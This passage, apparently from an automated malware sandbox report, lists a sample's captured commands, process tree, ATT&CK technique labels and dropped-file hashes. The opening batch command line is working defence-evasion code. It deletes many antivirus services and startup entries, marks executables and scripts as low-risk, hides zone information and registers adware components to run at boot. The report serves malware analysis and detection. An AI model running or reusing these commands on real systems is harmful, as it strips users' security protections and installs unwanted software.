"HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )3⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Executes dropped EXE
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1BITS Jobs
1Defense Evasion
Modify Registry
4Disabling Security Tools
1Virtualization/Sandbox Evasion
1BITS Jobs
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850DMD5
7f10f9e8ae3e736e6b3f839a4eb42f24
SHA16b5991b57dad3a7633ae6879e1e3e5c11ae38d87
SHA25675bf444bb06c3eb5dad2444f9b0dbdea7ec8fd5542337cabe9088d12df3b60c6
SHA512e647ba9ed7abb21fad66dbe5c5353b980d8359d2850fe39435a0defd85c5226f6fba52d00600f4d4d2d55041b864d436e6307cf248e4881b78a31961b9302c9f
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711EMD5
2a5f42ab890cb92e44a99b519c8d4e0e
SHA1665769378baf2b9a333ec703a2f7787340eb47c0
SHA256b1cd725d452d71ef8b012908748673bdcadac25805975738d6a65884ab70b7f5
SHA512e93550732ae80ebde7303072212e285050ed37344f0813b065912518d1fc3c29cc88bf56d586c40f108ab98e0d717d08cc3906c25f3acf799745206aacc8ee20
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850DMD5
c7f8e39319c91dcd0891953d4e274723
SHA1eb8394e6ac5dee7fefdae6a248019dd0d761fe64
SHA25607ec6910dfd3091f0709814da70a81d396fec2d15084fbaec3aeeaf4eba717a4
SHA51284191206d03ba8ffe76fa7b55b381688d6b069d4e5ad2852f234d12448a7b880e32cb2089fd67b352d9fd35be3bece4f76c199ea8000bff5007ed520651ee65c
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711EMD5
65451cf347780e222107565e3f678eb7
SHA16782c3d5061db8633294998e4b88222bf47c566c
SHA2566c7ec2bfd744cc9e2fdac83378a673f7e9b287bb75b6ab472cb7b90dac8769d3
SHA512c9970bb4df73d872c659c3c6fbe369f10aab32466da3341c619c5996c6053c6e1193e52bde332ee01f78e2128bd23bfc481de3e3b33539fd6f63b3bfeebc9da8
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\libcurl.dllMD5
d09be1f47fd6b827c81a4812b4f7296f
SHA1028ae3596c0790e6d7f9f2f3c8e9591527d267f7
SHA2560de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e
SHA512857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\libcurlpp.dllMD5
e6e578373c2e416289a8da55f1dc5e8e
SHA1b601a229b66ec3d19c2369b36216c6f6eb1c063e
SHA25643e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f
SHA5129df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\libgcc_s_dw2-1.dllMD5
9aec524b616618b0d3d00b27b6f51da1
SHA164264300801a353db324d11738ffed876550e1d3
SHA25659a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e
SHA5120648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\libstdc++-6.dllMD5
5e279950775baae5fea04d2cc4526bcc
SHA18aef1e10031c3629512c43dd8b0b5d9060878453
SHA25697de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87
SHA512666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\libwinpthread-1.dllMD5
1e0d62c34ff2e649ebc5c372065732ee
SHA1fcfaa36ba456159b26140a43e80fbd7e9d9af2de
SHA256509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723
SHA5123653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\setup_install.exeMD5
a3ca32ebdba2c07c2d386bb31cbd6d51
SHA1e7841e1f475f922d5264b5ce5d123a1b3927f9e6
SHA2560ab2a0bdb8e7a72b5eacb1af5325036266987c5d00b13a981c95754a94f55b1b
SHA512c8abd3a0c8004c11462bf139a873311333cbe6c26046810844199f67d6dd9d7196a7e168261013c50bcb9f24a6bdd37879f617d7aa2089d2a067cb6ca09cbaea
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\setup_install.exeMD5
a3ca32ebdba2c07c2d386bb31cbd6d51
SHA1e7841e1f475f922d5264b5ce5d123a1b3927f9e6
SHA2560ab2a0bdb8e7a72b5eacb1af5325036266987c5d00b13a981c95754a94f55b1b
SHA512c8abd3a0c8004c11462bf139a873311333cbe6c26046810844199f67d6dd9d7196a7e168261013c50bcb9f24a6bdd37879f617d7aa2089d2a067cb6ca09cbaea
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\sonia_1.exeMD5
6e43430011784cff369ea5a5ae4b000f
SHA15999859a9ddfcc66e41ff301b0eeb92ef0ce5b9f
SHA256a5ab29e6fc308d1fe9fd056e960d7ccd474e2d22fb6a799d07086ec715a89d9a
SHA51233ef732056182b9ab073d2eacfd71d3f1cb969ee038a19336fb5e0263a4e870742082c756a57010a26e7eab747a2332523d638f2570b8070b933bf957d2dea96
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\sonia_1.exeMD5
6e43430011784cff369ea5a5ae4b000f
SHA15999859a9ddfcc66e41ff301b0eeb92ef0ce5b9f
SHA256a5ab29e6fc308d1fe9fd056e960d7ccd474e2d22fb6a799d07086ec715a89d9a
SHA51233ef732056182b9ab073d2eacfd71d3f1cb969ee038a19336fb5e0263a4e870742082c756a57010a26e7eab747a2332523d638f2570b8070b933bf957d2dea96
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\sonia_1.txtMD5
6e43430011784cff369ea5a5ae4b000f
SHA15999859a9ddfcc66e41ff301b0eeb92ef0ce5b9f
SHA256a5ab29e6fc308d1fe9fd056e960d7ccd474e2d22fb6a799d07086ec715a89d9a
SHA51233ef732056182b9ab073d2eacfd71d3f1cb969ee038a19336fb5e0263a4e870742082c756a57010a26e7eab747a2332523d638f2570b8070b933bf957d2dea96
-
C:\Users\Admin\AppData\Local\Temp\7zS878B0B14\sonia_2.exeMD5
18ffdaa7a2c9906db10ffc13f7c73d23
SHA1f195661bc0f9735d02fbe0e937bfd80cf0bcb11f
SHA256365bbeb36a288d829c8dc0f1bf7f70949dd10474586cfc7123c1503256b9e5c3
